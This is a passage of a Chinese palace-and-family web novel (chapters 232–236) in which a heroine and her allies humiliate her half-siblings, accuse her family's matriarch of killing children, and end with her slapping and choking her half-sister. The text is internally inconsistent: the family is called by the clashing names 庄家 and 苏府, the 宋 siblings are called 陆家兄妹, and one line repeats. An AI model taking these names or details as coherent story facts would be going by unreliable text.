宋明澜见状,也开口了,不过不是帮晏玥玥说话,而是教训自家妹妹。 他清了清嗓子,语重心长地说: “溪溪,都重复无数遍了,在外头要谨言慎行,你怎么就是记不住呢?” 他摇了摇头,似乎对宋溪溪的“屡教不改”很是失望。 “遇到不顺眼的人,避开就是了,何必非要跟人逞口舌之快?” “你可知道,这世上多的是笑里藏刀的人,防不胜防。” 宋溪溪听了,乖巧地点了点头,表示自己已经深刻领会了宋明澜的教诲。 “大哥教训的是,小妹记住了。” 她眨了眨眼,表示自己已经虚心接受了批评。 “您说的那些,我今天算是长见识了。” 宋明澜满意地点了点头,又将目光转向晏清澜: “还有你,阿清,往常对你讲的,你都当耳旁风了吗?” 他微微皱眉,似乎对晏清澜的表现也有些不满。 “遇到那些个……嗯,不想搭理的人,装作没听见就是了。” “视而不见!” 晏清澜在心里默默给宋明澜点了个赞。 这词儿用得,可真是太贴切了! 她面上却不动声色,乖巧地点了点头,表示自己已经虚心接受了批评: “大哥放心,我都记下了,下次一定注意。” 这兄妹俩一唱一和,明褒暗贬,把晏玥玥气得脸色发白,浑身发抖。 她躲在晏雨珩身后,偷偷地抹眼泪,心里又委屈又愤怒。 她原本还指望着,晏远舟能替她出头。 谁知,晏远舟只是站在一旁,冷眼旁观,丝毫没有要插手的意思。 晏玥玥心中一阵失望,又不敢表露出来,只能暗自咬牙。 晏雨珩见晏清澜和宋明澜这般态度,心中也是恼火得很。 他一边安慰着自家妹妹,一边用失望至极的眼神看着晏清澜,像是在看一个陌生人。 他想说些什么,却又碍于自己的身份和教养,说不出太过分的话来。 只能将这股怒气,硬生生地憋在心里。 晏远舟将这一切都看在眼里,心里跟明镜儿似的。 他知道,宋明澜突然疏远他,很可能是晏清澜在背后说了什么。 但他并不着急。 想要跟宋明澜这样的人打交道,本来就不是一件容易的事。 只要能跟宋明澜搭上关系,对他的仕途大有裨益。 而他所需要做的,不过是对一个妹妹稍微好一点罢了。 这种稳赚不赔的买卖,他怎么可能不做? 晏远舟在心中权衡利弊,很快便有了决断。 他脸上露出一抹温和的笑容,看向晏清澜的眼神中,带着几分歉意和无奈: “四妹妹,你还在记恨我吗?” 他的声音,微微有些沙哑,像是在极力压抑着自己的情绪。 晏清澜看着他,只觉得可笑。 她微微抬起下巴,眼神中带着几分不屑和轻蔑。 “你是哪位?” 她上下打量了晏远舟一番,眼神挑剔,像是在审视一件商品。 “论相貌,你比不过江世子。” 她顿了顿,似乎在回味童玄珏的容貌。 “论才华,你比不上柳公子。” 她又将晏远舟和酆明川比较了一番,结果显而易见。 “论气度,你更是连我大哥的一根手指头都比不上。” 她毫不留情地将晏远舟贬低得一无是处。 “要说这人模狗样、道貌岸然的本事……” 她故意拉长了声音,语气中带着几分戏谑。 “你倒是能排个第一!” 晏清澜的话音刚落,晏远舟脸上的笑容就彻底僵住了。 他没想到,晏清澜竟然会当众给他难堪,而且还说得这么直白,这么不留情面。 宋溪溪更是直接笑出声。 她用手帕捂着嘴,肩膀一耸一耸的,显然是憋笑憋得很辛苦。 “阿清姐姐,你这嘴可真是越来越厉害了。” 她一边笑,一边还不忘调侃晏清澜几句。 “不过,我喜欢!” 她朝晏清澜竖起了大拇指,表示赞赏。 “有些人啊,就是欠骂!” 宋溪溪又将目光转向晏远舟,眼神中带着几分鄙夷和不屑。 “从前我们落魄时,也没见这些所谓的亲戚来关心。如今见我们得了势,一个个都上赶着来攀亲戚,真是可笑! 第二百三十二章 ” 她朝地上啐了一口,“什么玩意儿!”宋溪溪一番夹枪带棒,字字如刀,扎得庄家兄妹心头滴血。 晏雨珩面白如纸,嘴唇翕动,半晌说不出一个字。 晏玥玥死死咬住下唇,眼泪在眼眶里打转,仿佛下一秒就要决堤。 晏远舟僵立原地,脸色铁青,像是一尊没了生气的雕塑。 宋明澜先前还一副兄长的模样“教训”妹妹,这会儿却换了副姿态,他气定神闲地抱起胳膊,唇边噙着一抹若有似无的笑。 那眼神,像是要把庄家兄妹当猴儿一样耍,深邃的眸子里闪着寒光,话却是轻飘飘的: “有些人啊,活着还不如死了呢,至少死了清净。” 宋溪溪立刻接话,她紧紧挽住晏清澜的胳膊,像是生怕她跑了似的。 她抬高了下巴,得意洋洋地说: “就是!” “也不知道有些人是哪来的脸,还好意思说什么‘你还在生我的气’,呸,恶心死了!” 晏清澜始终冷眼旁观,嘴角勾起一抹嘲讽的弧度,那眼神,分明写满了对庄家人的鄙夷。 晏玥玥哪里受过这种当众羞辱? 只觉得一股子怒气直冲头顶,眼泪再也忍不住,“唰”地一下就流了下来。 她抬手用力抹了把脸,带着哭腔,眼睛通红地瞪着晏清澜: “四姐姐,你……你心里到底有多恨我们?” 她声音哽咽,几乎说不出一句完整的话。 “非要……非要借着别人的嘴来骂我们,你才痛快吗?” 说到最后,她几乎是声嘶力竭地在质问。 “现在被外人这样诋毁我们兄弟,你……你就这么高兴?” 晏玥玥吸了吸鼻子,死死盯着晏清澜的眼睛,似乎想看穿她的内心: “就算……即便我们做错了事,难道……你就真的半点错也没有吗?” 她越说越激动,声音尖锐得像要刺破人的耳膜。 难道不是吗? 晏清澜在庄家过得不好,难道不是她自己的问题吗? 是她自己没本事讨爹娘喜欢! 是她自己没能力让哥哥们另眼相看! 是她自己身子骨弱,才会在落水时差点没命! 这一切的一切,不都是晏清澜自找的吗? 晏清澜静静地看着她,眼底没有一丝波澜,仿佛在看一个无理取闹的孩子。 她等晏玥玥稍稍平静下来,才缓缓开口,声音冷得像冰: “是,我有错。” 晏清澜微微颔首,唇角勾起一抹自嘲: “我最大的错,就是当初没死在娘胎里!” “就该和那位二姐姐一样,从一开始就不该来到这世上!” 她每说一句,晏玥玥的脸色就更白一分。 “我还错在,被你娘推到水里的时候,没直接一头撞死!” 晏清澜的声音骤然拔高,眼底的恨意如火山般喷涌而出。 “怎么,你还想听我一桩桩、一件件地细数吗?” 她步步紧逼,目光如刀,狠狠剜向晏玥玥: “你听得下去吗?” “就算你听了,你那位‘好母亲’,又担得起这骂名吗?” 晏玥玥浑身颤抖,嘴唇哆嗦着,一句话也说不出来。 晏雨珩再也无法袖手旁观,他猛地扶住晏玥玥,转身怒视晏清澜: “住口!” 他声音嘶哑,眼睛里布满了血丝: “阿清,你变了,你变得让我认不出来了!” “玥玥是你妹妹!凭啥这样黑她?她还小,你这是要逼死她吗?” 更让晏雨珩无法接受的是,晏清澜竟然用“你娘”这种字眼来称呼他们的母亲! 就算母亲平日里对晏清澜不够好,可她毕竟是生了晏清澜的人啊! 晏清澜怎么能如此冷酷无情? 这还是他印象中那个胆小怕事,却又善良的四妹妹吗? 晏清澜只觉得一阵反胃,她冷冷地看着晏雨珩: “妹妹?你也知道她只是妹妹啊。” 她一字一顿,特意加重了“妹妹”两个字的发音,语气里的嘲讽不加掩饰。 晏清澜冷笑一声,看着晏雨珩: “我还以为,我是她爹呢,要时时刻刻哄着她、惯着她!” 她深吸一口气,目光在晏雨珩和晏玥玥之间扫过: “晏雨珩,我难道上辈子欠你们全家的?这辈子要被你们这群活死人缠着?” “有你们这样的哥哥,还有那样一个心如蛇蝎的母亲……” 她顿了顿,目光最后落在晏玥玥身上,露出一个令人不寒而栗的笑容: “还有你,这么个‘好妹妹’。” 话已至此,庄家人虚伪的面具被彻底撕下。 长久以来的压抑和怨恨,在这一刻得到了宣泄。 晏清澜感到前所未有的轻松。 晏玥玥却如遭雷击,彻底崩溃了。 她怔怔地看着晏清澜,只觉得心脏一阵阵抽痛,几乎要窒息。 她做梦也想不到,自己一直瞧不起的四姐姐,竟然会说出如此狠毒的话。 闺蜜情谊都是假的? 在苏府,这就是个笑话! 晏玥玥突然笑了起来,笑声中充满了绝望: “你说了这么多,不就是恨庄家吗?” 她深吸一口气,强迫自己冷静下来: “可你再恨,也不该当着这么多人的面说出来,你不要脸,庄家还要脸呢!” “就算……就算娘更疼我,可你到底还是平安长大了,不是吗?” 晏玥玥越说越激动,声音也越来越大: “你凭什么在这里指责我们?” 她被怒火冲昏了头脑,已经顾不上什么体面了。 晏清澜挑了挑眉,对晏玥玥的指责不以为意: “被你们虐待,差点没命,也叫‘平安长大’?” 她冷笑一声: “照你这么说,我是不是还得感谢你们的不杀之恩?” “至于‘要脸’……”晏清澜的语气突然变得轻柔,眼神却如淬了毒的刀子。 “当初你们把我扔到临川,任我自生自灭的时候,怎么没想过要脸?” “如今我回来了,你们反倒跟我谈起脸面来了?” 她停顿了一下,脸上的笑容越来越大: “要不是托你们的福,我恐怕还真没机会活着回来。” “留在庄家?呵呵,那才真是生不如死!” 晏清澜眼底的嘲讽几乎要溢出来: “毕竟,几位哥哥姐姐的‘意外’,还真是让人‘记忆犹新’啊。” “除了嫡出的,也就剩一个五妹妹,还被远远地打发了出去,这庄家,可真是‘干净’。” 她加重了“意外”和“干净”两个字的发音,目光在庄家人脸上扫过,他们那瞬间僵硬的表情让她感到愉悦。 晏二公子再也忍不住了,他猛地站起身,脸色涨得通红: “你……你血口喷人!” 他强压着怒火,努力维持着自己翩翩公子的形象: “四妹妹!你……你凭什么这样说话!” 他深吸一口气,摆出一副痛心疾首的姿态: “我知道,因为玥玥,我们对你有所疏忽,让你受了委屈。 第二百三十三章 ” “可你就算心里有怨气,也不能编造这些谎话来污蔑家人啊!” “你想发泄,可以直接说出来,二哥愿意给你赔不是。” “但是,你不能用这种方式来诋毁庄家的名声!” 晏远舟这番话,看似在责备晏清澜,实则是在为自己和庄家辩解。 他把钱雅芝的恶行说成是“疏忽”,把晏清澜的指控说成是“谎话”。 这样一来,他既保住了庄家的面子,又把自己塑造成了一个宽宏大量的兄长。 晏清澜看着他,只觉得滑稽可笑。 她抱起胳膊,好整以暇地看着晏远舟: “晏二公子这‘指鹿为马’的本事,真是让人佩服。” 她轻笑一声: “几句话,就把你那位‘好母亲’的罪行抹得一干二净。” “怎么,现在知道要维护庄家的名声了?” “当初她害人的时候,怎么没见你站出来说句话?” 晏清澜顿了顿,眼神突然变得锐利: “现在倒是急着跳出来给我扣帽子了?怎么,怕我把你们庄家的丑事都抖出来,影响了你的前程?” 她冷笑一声,眼神中充满了轻蔑: “真是可笑!” 宋溪溪皱着眉头,疑惑地看向宋明澜: “大哥,阿清姐姐哪里说谎了?我怎么没听出来?” 宋明澜摸了摸下巴,装模作样地思考起来: “嗯……这个嘛……” 他故作沉吟,似乎真的在认真回忆。 “之前宫宴上,倒是听人提起过庄家的事儿。” 他慢悠悠地说着,语气里带着一丝玩味: “说是庄家的几位少爷小姐,都……不太长命。” “不过,既然晏二公子说是污蔑……” 宋明澜话锋一转,立刻换上了一副真诚的表情,朝晏远舟拱了拱手: “那想必,庄家的几位少爷小姐,都活得好好的。” 他转头看向晏清澜,板起脸,假装生气: “阿清,这事儿的确是你不对。” “好端端的,你咒人家做什么?” “还不快跟晏二公子道歉!”晏清澜乖巧地点头,朝宋明澜甜甜一笑, “可是哥哥~” 她故意拉长了声音,带着一丝撒娇的意味。 “苏府里的三姐姐、五弟、六弟,的确都是意外没的,这可是千真万确的事情。” 说完,她眨了眨眼睛,小心翼翼地观察着宋明澜的表情,想看看他有没有相信自己。 晏清澜轻轻咬了咬下唇,眼眶迅速泛红,泪珠儿开始在眼眶里打转,看上去委屈极了: “人家不过是实话实说嘛……” 她吸了吸鼻子,声音里带着哭腔。 “晏二公子无缘无故就说我污蔑人,这不明摆着欺负人吗?” 她可怜巴巴地望着宋明澜,眼神里充满了求助的意味,希望宋明澜能为她做主。 “难道……哥哥也要不问个青红皂白,就这么凶人家吗?” 话还没说完,眼泪就再也忍不住了,一颗颗晶莹的泪珠,顺着脸颊滑落。 宋明澜一看晏清澜哭了,顿时就慌了神,手忙脚乱地安慰,恨不得抽自己两巴掌。 “阿清乖,阿清不哭啊。” 他手忙脚乱地帮晏清澜擦眼泪,语气那叫一个着急。 好在他脑子转得快,立刻开始认错: “是哥哥不好,哥哥不该这么大声跟你说话。” 他举起手,信誓旦旦地保证。 “你是哥哥的妹妹,我不相信你,难道还相信外人不成?” 他又是哄又是保证,把姿态放得很低: “这样,今天你看上什么,尽管跟哥哥说,哥哥都给你买下来。” 宋明澜一挥手,豪气冲天。 “待会儿咱们就去碧霄楼,你想吃什么就点什么,全都算在哥哥账上!” 他回忆起过去,语气里带着一丝心疼。 “谁让你小时候那么瘦,就跟个小猫儿似的,巴掌大一点儿,看着就让人心疼。” 晏清澜这才破涕为笑,长长的睫毛上还挂着泪珠呢,她吸了吸鼻子,声音软软糯糯地说: “哥哥最好了,人家怎么会生哥哥的气呢。” 宋明澜无奈地摇摇头,伸出手指轻轻刮了一下晏清澜的鼻子,目光却意有所指地看向庄家那边: “咱们才是一家人,哪能说两句话就生分了?” 他眼神示意了一下。 “不对你好,我还能对谁好去?” 宋溪溪也适时地凑上来,她亲昵地挽住宋明澜的胳膊,轻轻摇晃着撒娇: “那我呢?” 她睁大了眼睛,一副“你要是不疼我,我就哭给你看”的架势。 “哥哥你可不能偏心,只疼阿清姐姐,不管我呀。” 宋明澜被两个妹妹逗得哭笑不得,他伸手点了点宋溪溪的额头: “你这鬼丫头,还跟阿清吃起醋来了?” 他故意板起脸。 “放心,都是妹妹,哥哥心里有数,保证一碗水端平。” 他拍着胸脯保证道。 “你想要什么也尽管说,大哥照单全收。碧霄楼也少不了你的那份,想吃什么点什么,千万别跟哥哥客气。” 他爽朗地笑着,话里有话: “我可做不出那种‘只疼这个,不管那个’的缺德事儿。” 他故意加重了语气。 “更不会让自家人,一个吃着燕窝,一个啃着冷馒头——那得多寒碜人?” 宋明澜这话,明着是安抚妹妹,暗地里却把庄家那几个兄弟给狠狠地内涵了一番, 晏雨珩被他说得脸色一阵青一阵白,难看极了。 陆家兄妹你一言我一语,配合默契,庄家那几个人脸色都变了,就跟吃了苍蝇似的。 宋溪溪这时像是突然反应过来,她睁大了眼睛,一脸的疑惑: “等会儿……” 她歪着头,看向晏清澜。 “阿清姐姐,既然你说的都是实话,那晏二公子干嘛说你污蔑人呢?难道……他说谎了?” 晏清澜故作无辜地摊开手,耸了耸肩: “这个嘛……我就不清楚了。” 她眨了眨眼,一脸茫然。 宋明澜摸了摸下巴,故作高深地摇了摇头,慢悠悠地开口: “这样吧,我给你们讲个故事,你们听听就明白了。” 他清了清嗓子,开始了他的表演: “话说古时候,有个官员去面见皇上,哭着喊着说自己冤枉,听说某个姓方的大佬在黑他,弄得外面风言风语,让他没法做人了。” 他故意停顿了一下,观察着众人的反应。 “皇上就问他,‘那家伙是怎么黑你的?’” 宋明澜模仿着官员委屈的语气说道: “‘他、他居然把俺做过的那些事儿,全都给抖搂出来了!’” 他故意把“抖搂”两个字咬得很重。 宋明澜这个故事讲得太贴切了,在场的人都听明白了其中的含义。 宋溪溪听完,忍不住“噗嗤”一声笑了出来,她一边笑一边拍手,还意味深长地瞥了晏远舟一眼: “哎哟,这可真是长见识了! 第二百三十四章 原来把别人做过的事说出来,也叫污蔑呀?” 晏清澜也红着眼眶,她微微垂下眼帘,让人看不清她眼中的情绪,语气温和地说: “晏二公子对‘污蔑’的定义,真是与众不同,让人大开眼界。” 她抬起头,目光直视晏远舟。 “小女子才疏学浅,实在不明白,我究竟哪句话污蔑了苏府,还望二公子明示。” 她微微欠身,姿态谦逊,仿佛真的在虚心求教。 晏远舟的脸色阴沉得可怕,像是能滴出水来,他死死盯着晏清澜,极力控制着自己的情绪。 他那副温文尔雅的假面具,此刻已经快要维持不住了,俊美的脸因为愤怒而微微扭曲。 晏玥玥一直在一旁暗中观察,她原本就因为晏远舟主动跟晏清澜说话而心生不满。 现在见晏清澜自己找不痛快,她立刻跳了出来,想要在晏远舟面前好好表现一番。 她杏眼圆睁,恶狠狠地瞪着晏清澜,语气尖酸刻薄: “你算哪根葱?也配跟我二哥这么说话?还不快闭嘴!” 她又转头瞪了陆家兄妹一眼,色厉内荏地喊道: “还有你们!不许帮着她欺负我二哥!” 她努力装出一副凶巴巴的样子,但微微颤抖的声音却泄露了她的心虚。 晏清澜看着她,嘴角勾起一抹冷笑,眼神轻蔑,像是看着一个跳梁小丑: “我当是谁呢,原来是晏六姑娘。” 她语气轻飘飘的。 “怎么,晏六姑娘是打算替你二哥出头?还是……狗仗人势,想咬人?” 她故意把“狗”字咬得很重。 晏玥玥气得浑身发抖,脸色一阵红一阵白,她捂着胸口,感觉自己快要喘不过气来了。 她跺了跺脚,转身扑进晏雨珩怀里,哭得梨花带雨,声音断断续续的: “三哥……你看看四姐姐……她、她现在是越来越不把我放在眼里了……” 她哭得那叫一个伤心,仿佛受了天大的委屈。 晏雨珩看着怀里哭泣的晏玥玥,又看了看站在那里冷若冰霜的晏清澜,一时间心乱如麻。 眼前的少女,出落得亭亭玉立,眉眼精致如画,和记忆中那个瘦弱胆怯的小女孩,简直是天壤之别。 他想起四年前那个总是跟在自己身后,怯生生叫着“三哥”的小丫头,再看看眼前这个眼神冷漠、浑身带刺的晏清澜,只觉得心里一阵抽痛。 他张了张嘴,想说些什么,却又不知道该说什么。 晏清澜看着他们,眼神平静,像是在看一场与自己无关的闹剧。 她突然开口了,说了一句莫名其妙的话。 “其实,人死了也未必不好。” 晏雨珩听了,心头一震,晏清澜的悲哀过于直白和明显。 晏清澜自顾自地往下说。 “起码比活着受罪要强,你说对吧,三哥?” 她的话,意有所指,让晏雨珩心中那根名为“愧疚”的弦,绷得更紧了。 晏清澜看着晏雨珩愣怔的模样,突然笑了,笑容中带着一丝凄凉: “三哥,你还记得四年前,我和晏清萦在池塘边发生的事吗?” 不等晏雨珩回答,她自顾自地说了下去: “其实那天,不是我不小心掉进池塘的。” 晏雨珩猛地抬起头,看向晏清澜,眼中满是震惊。 “是有人……故意把我推下去的。” 晏清澜的语气很平静,像是在讲述一件别人的事情。 “当时我还小,不知道害怕,只觉得池塘里的水好冷,冷得我直打哆嗦。” 她顿了顿,似乎在回忆当时的感受。 “我拼命挣扎,手不小心被石头划破了,流了好多血,好疼……” 晏清澜抬起手,展示了一下手心。 “你看,虽然过去这么久了,但还是留下了一道疤。” 那道疤痕很浅,几乎看不出来。 晏玥玥听到这,从晏雨珩的怀抱里探出头,下意识反驳: “你胡说!明明是你自己不小心……” 但她的话还没说完,就被晏清澜打断了: “我是不是胡说,你心里清楚。” 晏清澜冷冷地看着她。 “晏玥玥,你敢不敢摸着自己的良心,再说一遍,当初是我自己掉进池塘的?” 她步步紧逼。 晏玥玥被她看得心虚,眼神闪躲,不敢与她对视。 “我……” 她支支吾吾,说不出话来。“晏景文没告诉你吗?让你看看我到底是谁!” 晏清澜轻飘飘的一句话,尾音微微上扬,像一记无形的耳光,狠狠抽在晏玥玥脸上。 晏玥玥身子一僵,仿佛被雷劈中,脸色由红转白,又由白转青,胸口剧烈起伏,像个漏风的破风箱般喘着粗气。 她死死攥紧手中的帕子,指节泛白,嘴唇哆嗦着,却半晌说不出一个字。 宋溪溪“嘁”了一声,翻了个大大的白眼,毫不掩饰对晏玥玥的鄙夷: “我说,这位……嗯,庄家小姐是吧?您这自我感觉未免也太良好了点。怎么,莫非您还真是块人人争抢的香饽饽不成?” 她说着,故意做出一副恍然大悟的样子, “哦,我明白了,您这是戏文看多了,真把自己当成戏台上的角儿了?只可惜,您这出戏,唱得实在不怎么样。” 宋明澜也点头附和,他眯起眼睛,上下打量晏玥玥一番,故作惊讶: “哎呀,这位姐姐,您这脸皮的厚度,可真是让人叹为观止。莫非是城墙转世,刀枪不入?” 说完,他还不忘谴责地看一眼晏清澜: “阿清,我跟你说过多少次,不要随便往自己身上揽事。你看看,平白惹了一身骚。” 晏雨珩站在一旁,脸色一阵青一阵白。 他看看怒火中烧的晏玥玥,又看看一脸冷漠的晏清澜,目光在几人之间来回扫视,眼神复杂,带着痛心、愧疚和一丝难以察觉的疲惫。 他张了张嘴,似乎想说什么,最终却只是长叹一口气,声音低沉而沙哑,近乎妥协: “阿清,算三哥求你,别再闹了,好吗?” 他的声音很轻,像是怕惊扰了什么,又像是怕说重了,会伤到晏清澜。 晏雨珩眼神复杂地看着晏清澜,似乎想从她脸上看出些什么, “我知道,你心里有怨气,可……这跟玥玥没关系,你把气撒在她身上又有什么用?” 他停顿了一下,似乎在斟酌用词,语气中带着一丝不易察觉的祈求, “过去的事,就让它过去吧。难道……你真的要为了这些事,跟家里人闹翻吗?” 他抬起头,看着晏清澜,眼中带着一丝期盼, “听三哥的话,回家吧,好不好?以前的事……我们以后慢慢补偿你,行吗?” “闹?” 晏清澜听到这个字,只觉得荒唐又可笑。 第二百三十五章 一股难以言喻的悲凉,像冰冷的潮水般涌上心头,将她淹没。 她看着晏雨珩,眼神冷漠而疏离,仿佛在看一个陌生人。 曾经的晏四小姐,受了那么多委屈,那么多苦,在他们眼里,却只是一句轻飘飘的“闹”? 她不过是说了晏玥玥几句,他们就心疼成这样。 可曾经那个女孩,独自承受的那些痛苦和绝望,又有谁会在意? 宋溪溪气得浑身发抖,眼泪“唰”地一下就流了下来。 她紧紧抓住晏清澜的胳膊,像是怕她被抢走,又像是要给她力量,声音沙哑得厉害: “阿清,你千万别听他的!他们庄家人,没一个好东西!” 宋溪溪深吸一口气,努力平复情绪,她抬起头,用通红的眼睛瞪着晏雨珩,声音嘶哑,却掷地有声: “晏雨珩,我告诉你,你少在这里假惺惺!什么补偿?你拿什么补偿?你补偿得了吗?” 她越说越激动,声音都有些破音, “要不是看在晏老夫人的面子上,我……我真恨不得一剑杀了你!” 宋明澜也冷下脸,他从怀里摸出一块碎银子,在指尖抛来抛去,像是在把玩一件有趣的玩具。 突然,他手腕一抖,银子“嗖”地一声飞了出去。 “哎哟!” 晏雨珩猝不及防,惨叫一声,身子一个踉跄,差点摔倒。 碎银子不偏不倚,正好打在他之前被击中的膝盖上。 晏雨珩疼得龇牙咧嘴,冷汗直冒,却又不敢发作,只能强忍着。 宋明澜一脸无辜和愧疚,连忙上前几步,关切地问道: “晏三公子,您没事吧?真是不好意思,手滑,纯属意外。” 他顿了顿,语气诚恳地解释: “那个,我这人吧,有个毛病,就是一看到不顺眼的人,手就容易发抖。您大人有大量,千万别跟我一般见识。” 晏清澜看都没看晏雨珩一眼,只是心疼地从怀里掏出一方干净的帕子,轻轻为宋溪溪擦拭眼角的泪水: “好了,别哭了,为了这些不相干的人,不值当。” 她的声音很轻,很柔,带着一丝不易察觉的颤抖。 宋溪溪吸了吸鼻子,努力让自己平静下来。 她抬起头,眼神在庄家兄妹身上打量,语气中带着一丝嘲讽: “不过,话说回来,我倒觉得,晏三公子和庄小姐说的,也有几分道理。” 宋溪溪故意停顿了一下,观察着晏清澜的反应,见她只是微微挑眉,并没有阻止的意思,便继续说道: “阿清姐姐,你也确实有些地方做得不对。毕竟,人无完人嘛。” 她清了清嗓子,模仿着晏雨珩的语气, “庄小姐落水,虽说与你无关,但你身为姐姐,理应多担待些。就算你不会凫水,也该下去做做样子,表现出姐妹情深嘛。” 宋溪溪紧紧盯着晏玥玥,看到她脸上竟然露出一丝得意的神情,气不打一处来。 她强忍着怒火,继续说道: “就算你因此丢了性命,那又如何?至少,你全了孝道,也全了姐妹之情。这可比你苟延残喘地活着,更有意义,不是吗?” 她又转向晏雨珩,语气更加尖锐, “晏三公子,您说,我说的对不对?跟庄小姐金贵的眼泪比起来,我阿清姐姐受的那些委屈,又算得了什么?” “哪怕我阿清姐姐现在就死了,只要能换来庄小姐的几滴眼泪,那也是死得其所,对不对?” 晏雨珩脸色惨白如纸,嘴唇颤抖得厉害,却一个字也说不出来。 他看着晏清澜,眼神中充满了痛苦和绝望,他多希望晏清澜能说点什么,哪怕是反驳,是争吵,也好过这样冷漠的沉默。 可晏清澜始终没有开口,她只是静静地站在那里,仿佛一个局外人,冷眼旁观着这场闹剧。 晏清澜的手心里,有一道浅浅的疤痕。 那道疤痕并不明显,若不仔细看,几乎看不出来。 但它却像一个烙印,深深地刻在晏清澜的心里,提醒着她曾经发生过的一切。 晏清澜不是没有办法去掉这道疤,但她选择留下它。 这道疤,是她对过去的祭奠,也是对未来的警醒。 晏玥玥的目光落在晏清澜的手上,眼神中充满了嫉妒和怨恨。 在她看来,晏清澜的一切都是偷来的,包括那张美丽的脸,那双纤细的手,还有陆家兄妹的维护。 晏玥玥咬紧牙关,她不明白,为什么晏清澜什么都不做,就能得到这么多。 她越想越气,越想越不甘心。 “你……你少在这里假惺惺!” 晏玥玥再也忍不住,她冲到晏清澜面前,指着她的鼻子,破口大骂,声音尖锐而扭曲, “你以为你装出一副可怜的样子,就能骗过所有人吗?我告诉你,你休想!” 她一边说,一边抹眼泪,仿佛受了天大的委屈, “三哥以前对你怎么样,你心里清楚!你现在这样对他,你的良心不会痛吗?” 晏玥玥越说越激动,声音都有些嘶哑, “我比你小,受宠多一点又怎么了?难道这不是应该的吗?你有什么资格嫉妒我?” “晏雨珩偏爱她?” 晏清澜终于开口,声音中带着一丝嘲讽和不屑,“晏雨珩偏爱她?” 晏清澜终于开口,声音冰得像淬了寒冰的碴子,能把人扎出血来。 她反手,一把揪住晏玥玥的领口。 “啪!” 耳光清脆。 雅韵坊内,静得仿佛能听见针落的声音。 晏清澜这一巴掌,可没留力气。 晏玥玥那张脸,瞬间就肿了。 “啊——” 晏玥玥尖叫,指甲就往晏清澜手臂上挠。 “晏清澜!你这个小贱人!敢打我!” “啪!” 又是一巴掌。 比刚才那下还重。 晏清澜眼皮都没抬一下,冷冷清清吐出俩字: “闭嘴。” 她雪白的手背上,立刻多了几道血淋淋的抓痕。 晏雨珩脸色铁青,拳头攥得“咯吱”响,像是恨不得把什么东西捏碎。 旁边一直看戏的晏远舟,也坐不住了。 两人同时起身,就要冲过来。 晏清澜却更快,一把掐住了晏玥玥的脖子。 她手指瞧着纤细,力气却大得吓人。 晏玥玥的脸色,跟被人掐住了脖子的鸭子似的,瞬间就紫了。 宋溪溪慢条斯理地开口: “我说,庄家的两位公子,可得想清楚了再动。” 她用手背轻轻拍了拍脸颊,做出一副后怕的样子。 “我家阿清姐姐,打死过老虎,这事儿你们知道吧?” 她故意停顿了一下,视线在晏玥玥和庄家兄弟之间来回。 “万一,我是说万一啊,你们把她惹急了,她手上没个轻重……” 宋溪溪故意“嘶”了一声。 “那晏六姑娘,可就得去下面陪那些‘好姐妹’了。 第二百三十六章 ” 话音刚落,她“呛啷”一声,从腰间抽出那把柔韧长剑。 剑身泛着寒光,一看就锋利无比。 她手腕一抖,剑尖就贴上了晏玥玥的裙摆。 那裙摆,可是上好的云锦,价值千金。 “哎呀,不好意思,手滑了。” 宋溪溪嘴上说着抱歉,脸上可没一点儿抱歉的意思。 “两位公子,可别乱动啊,这刀剑可不长眼。” 她笑得跟朵花儿似的,可说出来的话,却让人心里发毛。 剑尖微微一挑,似乎下一秒就能划破那华贵的裙摆。 晏玥玥吓得脸都白了,浑身抖得跟筛子似的。 “晏清澜!你、你不能杀我!” 她声音都变了调,可还是硬撑着: “我要是死了,爹娘不会放过你的!哥哥们更不会放过你!” 晏清澜冷笑,压根儿没把她的话放在心上。 她手上微微用力。 晏玥玥立刻翻起了白眼,连气儿都喘不上来了。 “再敢多说一句……” 晏清澜声音很轻,却像刀子一样锋利。 “你就真的,下去陪她们吧。” 她特意强调了“她们”两个字,语气玩味。 晏玥玥浑身一僵,像是被点了穴,一个字儿也不敢说了。 她是真怕了。 这个晏清澜,就是个疯子! 晏清澜却跟没事人似的,还有心思跟宋溪溪闲扯。 “溪溪,你说那些屈死的冤魂,要是在下面见着了这位六姑娘,得说点什么?” 宋溪溪装模作样地想了想。 “肯定得吓一跳吧。” 晏清澜挑眉,示意她继续。 “吓一跳?” 她手上还掐着晏玥玥的脖子呢,语气却轻松得很。 宋溪溪把剑尖在晏玥玥头上那支金钗上轻轻一碰。 金钗“叮”的一声,差点儿掉下来。 “可不是嘛,她们肯定得想,这位六姑娘,平日里被晏夫人当眼珠子似的宝贝着,怎么也落到这步田地了?” 她故意把“眼珠子”三个字咬得极重,明摆着是在嘲讽。 晏清澜点点头,表示同意。 “哎,庄家的风水,怕是真的有问题。这一个个的,都活不长。” 她叹了口气,摇了摇头。 “也亏得三姑娘晏清萦命大,打小养在临川,不然……” 晏远舟听不下去了。 再说下去,整个庄家的脸面都得丢尽! 他脸色阴沉得能滴出水来。 他明白,再让这两个女人胡说八道,不出一个时辰,整个汴京城就得传遍庄家主母心狠手辣,容不下庶出子女的流言。 到时候,他也会受牵连。 这种事,绝对不能发生! 晏远舟猛地一拍桌子,厉声喝道: “晏清澜!你到底想怎么样?!” 晏雨珩也红了眼,但与晏远舟不同,他声音里更多的是痛心和失望。 这超出了他的认知,曾经那个温柔善良的四妹妹,会变成现在这副样子。 他深吸一口气,尽量让自己的声音听起来平静一些: “四妹妹,我知道你心里有怨气,可你也不能这样对玥玥啊!” 他顿了顿,近乎哀求地说: “玥玥要是有个三长两短,你也不会有好下场的!你这又是何苦呢?” 晏清澜觉得可笑。 到了这个时候,晏雨珩还以为她只是在泄愤? 她要的,可不仅仅是出口气而已。 她要的,是让这些人都付出代价! 晏清澜正要说话。 一个懒洋洋的声音,突然插了进来。 “哟,这是怎么了?这么热闹?” 是童玄珏。 他一身黑衣,脸上戴着青玉面具,在一群人里格外显眼。 他微微歪着头,打量着眼前的这一幕,嘴角带着一抹玩味的笑。 现在还不到最热闹的时候,街上人不多。 雅韵坊里闹成这样,外面也没什么人围观。 童玄珏也就是路过,随便往里看了一眼。 就这一眼,就瞧见了这出好戏。 晏清澜虽然脾气不好是出了名的,但也没到随便掐人脖子的地步。 这就有意思了。 除了晏清澜,谁也没想到童玄珏会突然出现。 晏清澜只是淡淡地瞥了他一眼,那眼神,分明在说: ‘你来凑什么热闹?’ 晏远舟和晏雨珩,此刻就像是溺水的人抓住了救命稻草。 两人也顾不上别的了,“扑通”一声跪在了童玄珏面前。 “燕王殿下!求您救救我们六妹妹!” 晏雨珩声泪俱下。 